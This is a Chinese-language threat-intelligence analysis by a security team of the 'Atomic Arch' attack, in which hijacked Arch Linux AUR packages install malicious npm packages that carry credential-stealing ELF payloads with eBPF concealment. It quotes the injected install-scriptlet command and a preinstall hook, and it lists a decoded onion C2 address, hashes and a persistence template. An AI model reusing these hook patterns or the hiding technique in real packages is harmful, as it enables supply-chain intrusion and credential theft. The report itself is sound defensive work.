2026-10-24 05:07:01 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

cover_image

威胁情报｜Arch Linux AUR 供应链投毒关联恶意 npm 包分析

原创

慢雾安全团队
慢雾安全团队

慢雾科技

2026年6月17日 18:20
中国香港

在小说阅读器读本章

去阅读

***# 背景*

**2026 年 6 月，Arch Linux AUR 生态曝出大规模供应链投毒事件，Sonatype 将该活动命名为 \"Atomic Arch\"。此次事件并非 Arch Linux 官方仓库、pacman、AUR helper 或 Arch Linux 本身存在零日漏洞，而是攻击者滥用 AUR 孤儿包认领机制，合法接管长期无人维护但仍被用户信任的包，并修改其 PKGBUILD 或安装脚本。

当用户执行常规 AUR 安装或升级操作时，恶意脚本会调用 npm 或 Bun，安装攻击者控制的 JavaScript 包，并借助 npm 生命周期钩子执行 Linux ELF 载荷。该载荷主要面向 Linux 开发者工作站和构建环境，具备窃取 GitHub、npm、SSH、Docker/Podman、Vault、浏览器数据及 shell 历史等敏感信息的能力。

公开披露阶段，受影响 AUR 包数量已从早期 400 余个扩大到约 1,500 个。该事件表明，开源生态中\"无人维护但仍被信任\"的组件，正在成为攻击者串联构建脚本、包管理器生命周期钩子和开发者本地环境的新型供应链入口。

本文基于 MistEye 对 runescape-launcher、[email protected] 和 [email protected] 的静态分析结果，梳理此次攻击链的关键技术环节。上述样本并非全部攻击样本，而是用于揭示攻击模式的技术剖面。**

MistEye 响应****

****#

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。

在此次 Arch Linux AUR 供应链投毒事件中，MistEye 对相关恶意包、npm 依赖、ELF 载荷、C2 通信及二阶段下载等攻击链环节进行了分析与关联研判，并提取相关 IOC。基于分析结果，MistEye 已向客户推送高危风险告警与威胁情报通告，协助客户及时识别和处置相关供应链风险。情报详情：

以下为详细技术分析。

攻击链分析：AUR install scriptlet 到 npm 生命周期脚本****

****#

本次攻击的技术主线可概括为三层递进：攻击者通过接管 AUR 包并篡改构建/安装脚本，在 pacman 安装或升级阶段触发 npm install 拉取恶意包，随后利用 npm 生命周期脚本(preinstall) 自动执行嵌入包内的 Linux ELF 原生载荷。以下按三层逐一展开。

第一层：AUR install scriptlet 转交执行权给 npm

以 runescape-launcher 包（版本 2.2.12-1）为例。攻击者在 .SRCINFO 和 PKGBUILD 中引入了对 install.sh 的引用，并将 npm 声明为运行依赖。

.SRCINFO 中的关键声明：

*pkgbase = runescape-launcher pkgver = 2.2.12 pkgrel = 1 install = install.sh depends = npm*

PKGBUILD 中的对应声明：

*depends=( 'npm' cairo libgcc ... zlib ) install=\"install.sh\"*

install.sh 是一个 pacman install scriptlet 文件。攻击者在该文件中定义了 post\_install() 函数，并将 post\_upgrade() 指向同一个函数：

关键执行链如下：

.SRCINFO 声明 install = install.sh 和 depends = npm
→ PKGBUILD 同步声明 install=\"install.sh\" 和 depends=('npm' ...)
→ makepkg 把 install.sh 打进最终 pacman 包
→ pacman 首次安装时调用 post\_install()
→ pacman 升级时调用 post\_upgrade()
→ post\_upgrade() 调用 post\_install()
→ post\_install() 进入 /tmp
→ 执行 npm install atomic-lockfile commander chalk
→ npm 安装 [email protected]
→ 触发 atomic-lockfile 的 preinstall
→ 执行 Linux x86-64 ELF 载荷 src/hooks/deps

需要注意几点：commander 和 chalk 是 npm 上的合法流行包，不一定是恶意包；同一 post\_install() 中还存在原有/伴随的 setcap 逻辑，恶意新增点是 cd /tmp 与 npm install atomic-lockfile commander chalk。

该层的核心设计意图是：将 pacman 的包安装/升级生命周期作为跳板，把执行权从系统包管理器转交给 npm，且首次安装和升级时均会触发。

第二层：npm lifecycle 触发原生 ELF——[email protected]

[email protected] 是本次攻击中首波使用的确认恶意 npm 包。该包表面上伪装为文件锁工具库，保留了完整的 TypeScript/JavaScript 库结构、main/module/exports 入口、CLI 和类型定义。但攻击者在 package.json 的 scripts.preinstall 中配置了安装期自动执行原生二进制：

src/hooks/deps 并不是普通的依赖安装脚本，而是一个剥离了符号表的 Linux x86-64 PIE ELF 可执行文件。关键元数据：

文件路径：src/hooks/deps
文件类型：ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
ELF SHA-256：6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b
大小：3,040,376 bytes
动态依赖：libbpf.so.1、libm.so.6、libc.so.6
内嵌 eBPF object SHA-256：3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
内嵌 eBPF object 偏移：0x324f9
原始 tarball SHA-256：64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc

该 ELF 载荷的能力覆盖凭据采集、持久化、分通道通信/上传，以及在 root 或具备相应 capability 的条件下尝试启用 eBPF 隐身组件，以下逐一展开。

重复异或解码与 Tor 隐藏服务 C2

在 [email protected] 的 ELF payload 中，关键 C2 并未以明文字符串形式出现，而是通过 repeating-XOR 编码后存储。样本在 0x1aa60 偏移处嵌入 32 字节 key，在 0x2da96 偏移处存储 62 字节 ciphertext。解码方式为：

*plain[i] = cipher[i] ^ key[i % 32]*

解码后得到 Tor v3 hidden service 地址：

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

62 字节长度正好对应 56 字符 Tor v3 onion hostname 加上 .onion 后缀。除 C2 host 外，样本还使用相同思路编码了 agent 标识和版本：

agent 名称：atomic，key offset 0x1bc60，cipher offset 0x3fddf
agent 版本：0.8.2，key offset 0x1c900，cipher offset 0x3fde5

这一设计使得完整 C2 不会出现在普通 strings 输出中。因此，仅依赖 strings | grep .onion、明文 YARA 规则或简单 IOC 提取流程，可能无法发现该 hidden service C2。

Tor/SOCKS 通信链路

虽然 C2 host 被 XOR 编码隐藏，但 ELF 中仍可见 SOCKS/Tor 相关明文字符串，例如：

*socks CONNECT resp: socks greeting read: socks CONNECT write: socks CONNECT failed: rep= socks5 auth rejected: /tor-expert-bundle-*

这些字符串结合解码出的 .onion 地址，说明该 payload 内置了通过 SOCKS/Tor 访问 hidden service C2 的通信框架。

同时，ELF 中还存在 HTTP 请求构造与上传相关字符串，包括 POST、GET、HTTP/1.0、HTTP/1.1、Host:、Content-Length:、Content-Type: application/json、Content-Type: application/octet-stream、POST /upload HTTP/1.1 与 Content-Type: multipart/form-data 等。POST /upload 与 multipart 模板说明 payload 具备上传构造能力，但是否对应 temp.sh 服务及是否实际外传仍需动态流量、代理日志或主机取证证据确认。

凭据与开发环境采集面

**该 ELF 的凭据采集面覆盖了现代开发者工作站的多个关键凭据存储点。

远程平台凭据方面，载荷包含 GitHub token 验证与仓库枚举相关字符串——GET /user、GET /user/repos、Authorization: Bearer、Accept: application/vnd.github+json；npm token 验证字符串——GET /-/whoami、registry.npmjs.org、\\_authToken=；以及 Vault 凭据相关字符串——/.vault-token、X-Vault-Token:。

即时通讯与协作工具方面，Slack 相关字符串包含 auth.test、conversations.list、users.info API 路径以及针对 %.slack.com 的 Cookie SQL 查询；Teams/Skype 方面包含 X-Skypetoken:、authsvc.teams.microsoft.com 和针对 %teams.microsoft.com 的 Cookie 查询；Discord 相关字符串如 discord: 也有出现。

本地与容器环境方面，载荷关注 .ssh、known\\_hosts、PRIVATE KEY、PuTTY-User-Key-File 等 SSH 凭据文件，以及 .bash\\_history、.zsh\\_history、.env 和 Chromium 系列浏览器的 Cookie 与 Local Storage 路径。Docker/Podman 与 DevOps 工具相关字符串——包括 docker login、docker push、docker pull、docker build、docker run、docker tag、docker-compose、podman login、podman push 等——在 ELF 中出现，但当前仅能作为静态字符串线索，尚未确认完整采集链。claude: 字符串同样可作为 AI 工具相关线索，不能单独证明 Claude 数据采集。**

上传与二阶段下载

载荷包含 HTTP multipart 上传模板，以及 /var/tmp、/secrets 等数据暂存路径。样本具备通过 onion C2 进行任务/结果通信和构造 multipart 上传请求的能力；是否对应 temp.sh 服务、是否在具体受害主机成功上传或完成外传，需要动态执行、代理日志或主机取证证据确认。二阶段下载链路也留下了清晰的静态痕迹：/bin/sha256/ 和 sha256 fetch: 字符串指向二阶段 hash 校验路径；server returned empty binary 和 tmp 200 headers too large 说明存在二阶段下载失败的错误处理逻辑。Tor bundle 拉取痕迹 /tor-expert-bundle- 与 SOCKS 传输链路组合，构成 staging 下载线索。

疑似 cryptominer 线索

atomic-lockfile 的 ELF 中出现 /usr/bin/monero-wallet-gui 字符串。结合二阶段下载链路，推测载荷可能在二阶段拉取与 Monero 挖矿相关的二进制。当前样本内未确认 xmrig、randomx、stratum、矿池域名或钱包地址等强矿工特征，因此不能断言内置矿工本体。

持久化

样本中出现了 systemd 服务相关模板，覆盖用户级和系统级两类启动场景。这说明载荷具备将自身注册为系统服务、在重启或用户会话启动后继续运行的设计意图。

*/.config/systemd/user [Unit] [Service] ExecStart= Restart=always RestartSec=30 .service WantedBy=multi-user.target WantedBy=default.target*

eBPF 隐身与反取证

**eBPF (extended Berkeley Packet Filter) 是 Linux 内核提供的一套机制，允许用户在不修改内核源码的前提下，向内核加载并运行受限制的自定义程序。它在正常用途下服务于网络过滤、可观测性和安全监控，但本次样本中的 eBPF 组件被设计为反方向的工具——不是用来\"看\"系统，而是用来\"藏\"自己。

[email protected] 的 ELF 载荷 src/hooks/deps 依赖 libbpf.so.1，并通过 bpf\\_object\\_\\_open\\_mem、bpf\\_object\\_\\_load、bpf\\_program\\_\\_attach、bpf\\_map\\_\\_pin 等 API 尝试加载内嵌的 eBPF relocatable object。这部分逻辑不会无条件执行：样本会先调用 geteuid() 检查是否为 root 用户，然后读取 /proc/self/status，解析其中的 CapEff: 字段，并测试与 CAP\\_BPF、CAP\\_SYS\\_ADMIN 对应的 capability 位。更准确地说，权限条件满足时，样本才会进入 eBPF 加载尝试路径。也就是说，它更像是一个条件性隐身模块；当前静态证据未显示其自身完成提权。

反汇编显示，宿主程序会从偏移 0x324f9 处读取长度为 0xce28 的内嵌对象，即一个 52,776 bytes 的 eBPF object。该 object SHA-256 为：

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01**

提取出的 eBPF object 是一个独立编译产物，文件类型为 ELF 64-bit LSB relocatable，带 debug\\_info / BTF 信息且未 stripped。其调试信息中还泄漏了源码路径：

*/cloud/scales/agent/../ebpf/scales.bpf.c*

该 eBPF object 通过 BPF maps（用于保存状态的数据表）和 tracepoints（内核事件挂钩点）组合出多类隐身与反取证能力痕迹。其调试信息和符号中出现了 hidden\\_pids、hidden\\_names、hidden\\_inodes、net\\_fds、diag\\_fds、getdents64、ptrace、recvmsg 和 bpf\\_probe\\_write\\_user 等名称，说明其设计目标包括隐藏进程、隐藏目录项、隐藏网络连接相关的 socket/inode，以及干扰调试器附加。

具体来看，该 eBPF object 的功能痕迹可以分为三类：

隐藏进程和目录项：hidden\\_pids 用于保存需要隐藏的 PID；sched\\_process\\_exec 相关逻辑会在新程序执行时根据 hidden\\_names 匹配进程名，并把匹配到的 PID 加入隐藏集合。getdents64 相关逻辑对应目录读取结果处理，恶意样本可借此从 /proc 等目录列表中隐藏指定 PID 或目录项。
干扰网络连接枚举：recvmsg、socket、hidden\\_inodes、net\\_fds、diag\\_fds 等线索指向网络连接枚举结果的干扰，可能影响 ss、netstat 等工具看到的 socket/inode 信息。
阻断调试与篡改返回结果：ptrace、PTRACE\\_ATTACH、PTRACE\\_SEIZE 与 bpf\\_send\\_signal(9) 显示其具备阻断调试器 attach 的反取证设计；多处 bpf\\_probe\\_write\\_user 字符串说明该 object 具备修改用户态读取缓冲区的实现痕迹，这也是隐藏目录项和网络项的一种关键方式。

由于本次为静态分析，未动态执行样本，不能确认该 eBPF object 在具体主机上的实际加载成功率，也不能断言其已实际隐藏了进程、目录项或网络连接。但从权限检查逻辑、map 结构、tracepoint 覆盖面和 bpf\\_probe\\_write\\_user 的使用痕迹来看，其设计意图是在 root 或具备相应内核能力的前提下隐藏进程、目录项和网络连接相关 socket/inode 痕迹，并为动态分析设置障碍。

第三层：.mjs 后缀伪装——[email protected]

[email protected] 是本次攻击后续波次使用的确认恶意 npm 包。该包伪装为 JavaScript 摘要/加密工具库，包含 aes.js、sha256.js、hmac-sha512.js、index.js 等外观正常的源码文件。攻击者同样在 package.json 中配置了 preinstall 入口：

*{ \"name\": \"js-digest\", \"version\": \"4.2.2\", \"main\": \"index.js\", \"scripts\":{ \"preinstall\": \"./lib/install-deps.mjs\" } }*

与 atomic-lockfile 的关键差异在于载荷的命名策略。install-deps.mjs 的后缀 .mjs 暗示它是 ESM JavaScript 模块，容易让人工审计者和基于扩展名的检测规则降低警觉。但静态文件类型识别显示，它实际上是 Linux x86-64 PIE ELF。关键元数据：

文件路径：lib/install-deps.mjs
后缀暗示：ESM JavaScript module
实际文件类型：ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
ELF SHA-256：7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
大小：3,193,176 bytes
动态依赖：libbpf.so.1、libm.so.6、libc.so.6
内嵌 eBPF object SHA-256：3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
内嵌 eBPF object 偏移：0x37d91
原始 tarball SHA-256：0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f

js-digest 同样使用 repeating-XOR 编码隐藏 C2。在 0x1cba0 偏移处嵌入 32 字节密钥，0x32bcb 偏移处存储 62 字节密文，解码结果与 atomic-lockfile 完全一致：

olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

其 agent 标识和版本为：

agent 名称：cryjs (key offset 0x1d740，cipher offset 0x45ec2)
agent 版本：0.8.4 (key offset 0x1ec40，cipher offset 0x45ec7)

两者 agent 名称(atomic vs cryjs) 和版本(0.8.2 vs 0.8.4) 不同，但共享同一个 onion C2 地址和同一个内嵌 eBPF object。

js-digest 在凭据采集相关字符串、SOCKS/Tor 传输链路、multipart 上传模板、systemd 持久化模板字符串和二阶段下载片段(/bin/sha256/、sha256 fetch:) 方面与 atomic-lockfile 高度一致。其 Docker/Podman 和 @reboot 相关线索不如 atomic-lockfile 明显，/usr/bin/monero-wallet-gui 也未在 js-digest 中确认命中。

.mjs 后缀伪装是本次攻击中值得关注的规避手法：它利用了差分检测的盲区——基于字符串和文件名的模式匹配规则可能将 .mjs 文件归入 \"JavaScript 模块\" 白名单，而不会检查其真实的 MIME 类型或 ELF 头。

关联样本：共享 onion C2 与 eBPF object 的双重硬证据****

****#

两个恶意 npm 包 [email protected] 和 [email protected] 之间存在两个可独立归因的硬证据：

硬证据一：共享 Tor 隐藏服务 C2。两个 ELF 载荷虽然宿主不同、agent 名称不同(atomic vs cryjs)、版本不同(0.8.2 vs 0.8.4)，且各自使用不同的 repeating-XOR 密钥和密文，但解码后指向同一个 Tor 隐藏服务地址 olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion。两个独立开发的恶意框架不可能巧合地选择同一个 56 字符的 v3 onion 地址作为 C2。

硬证据二：共享 eBPF object 字节完全一致。两个 ELF 各自内嵌的 eBPF relocatable object SHA-256 完全相同：

3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

该 eBPF object 大小为 52,776 bytes，文件类型为 ELF 64-bit LSB relocatable，带 debug\_info 且未 stripped，源码路径标记为 scales.bpf.c。关键 maps (hidden\_pids、hidden\_names、hidden\_inodes)、tracepoints（getdents64、sched\_process\_exec、ptrace、openat、recvmsg 等）和核心函数(walk\_dirent、name\_to\_pid、bpf\_probe\_write\_user) 在两个样本中完全对应。eBPF object 是编译产物，字节级完全一致意味着两个 ELF 在构建时使用了同一份 eBPF C 源码。

除以上硬证据外，两个 ELF 载荷在凭据采集相关字符串、SOCKS/Tor 传输架构、multipart 上传模板、systemd 持久化模板字符串等工程能力上也呈现高度相似的设计思路。这些一致性属于辅助观察，进一步支持两样本同源的结论。

两个样本的关键差异如下：宿主 ELF 哈希不同、agent 名称与版本不同(atomic / 0.8.2 vs cryjs / 0.8.4)、载荷命名策略不同（src/hooks/deps vs .mjs 伪装）、/usr/bin/monero-wallet-gui 仅在 atomic-lockfile 中出现，ExecStart=@reboot 也仅在 atomic-lockfile 中静态命中。这些差异表明两个样本与同一运营基础设施、同一构建链或同一活动集群高度相关，而非简单的重打包。

总结****

****#

本次 Arch Linux AUR 供应链投毒攻击反映了开源软件生态中两个结构性薄弱点的叠加利用：一是 AUR 孤儿包认领机制缺乏对认领者的信任审核，二是包管理器（pacman 与 npm）生命周期脚本在安装阶段的可执行信任边界被串接——攻击者不依赖任何软件漏洞，仅通过滥用开源生态的维护机制和包管理器的设计行为就能构建完整的攻击链。

本次攻击链的技术特点可概括为以下三个层面：

AUR 信任继承滥用。攻击者没有创建新包或利用软件漏洞，而是通过认领无人维护的 AUR 包来继承已有用户基础。以 runescape-launcher 为例，攻击者借助合法 AUR 认领流程接管包后，在 install.sh 中植入 npm install atomic-lockfile 命令，并通过 post\_upgrade() 调用 post\_install() 使升级时也会触发。受害用户执行常规的 yay -S 或 paru -S 操作时，并不预期 PKGBUILD 和 .install 脚本已被篡改。

双层生命周期串接与 C2 隐藏。攻击者将 pacman 的 post\_install()/post\_upgrade() scriptlet 作为入口，在 AUR 包安装/升级时触发 npm install，再利用 npm 的 preinstall lifecycle 执行 Linux ELF 载荷。载荷的 C2 地址通过 repeating-XOR 编码隐藏，简单的 strings/grep .onion 无法直接提取。onion C2 更适合表述为任务、结果和状态通信通道；payload 同时具备 multipart 上传请求构造能力。是否对应 temp.sh 服务、是否在具体受害主机成功上传，需要动态或日志证据确认。

载荷组合覆盖多阶段攻击能力。 ELF 载荷在静态能力上覆盖凭据采集（GitHub/npm/Slack/Discord/Teams/Vault/SSH/浏览器，以及 Docker/Podman 等 DevOps 字符串线索）、分通道通信与上传构造（onion C2 + multipart upload 模板）、持久化模板（systemd user/system service 兼 WantedBy=multi-user.target 和 WantedBy=default.target）和条件性防御规避（权限满足时尝试启用 eBPF 隐藏进程、文件名和 socket/inode，bpf\_send\_signal(9) 阻断 ptrace 调试）等能力。js-digest 额外引入 .mjs 后缀伪装，进一步降低基于扩展名的检测有效性。

建议：

立即排查已安装的 AUR 包中是否存在包含 npm install atomic-lockfile、bun install js-digest 或类似 npm/Bun 拉取命令的 PKGBUILD 或 .install 脚本。如发现受影响包，应立即在隔离环境下进行取证和凭据轮换。
检查 ~/.config/systemd/user 和 /etc/systemd/system 下是否存在异常的 systemd service/timer，以及 /sys/fs/bpf/ 下是否存在 hidden\_pids、hidden\_names、hidden\_inodes 等异常 BPF maps。
对受影响的开发者主机，轮换 GitHub PAT/GITHUB\_TOKEN、npm token、Slack/Discord/Teams 会话、Vault token、SSH 私钥、Docker/Podman 凭据及 .env 中存储的所有密钥。
CI/CD 构建环境建议从可信基线镜像重建，而非仅清理 node\_modules 或移除单个恶意包。
建议 AUR 用户在安装任何近期被认领或长期不活跃的包之前，逐行审查 PKGBUILD 和 .install 脚本，关注其中是否包含 npm install、bun install、curl、wget 等外部命令调用。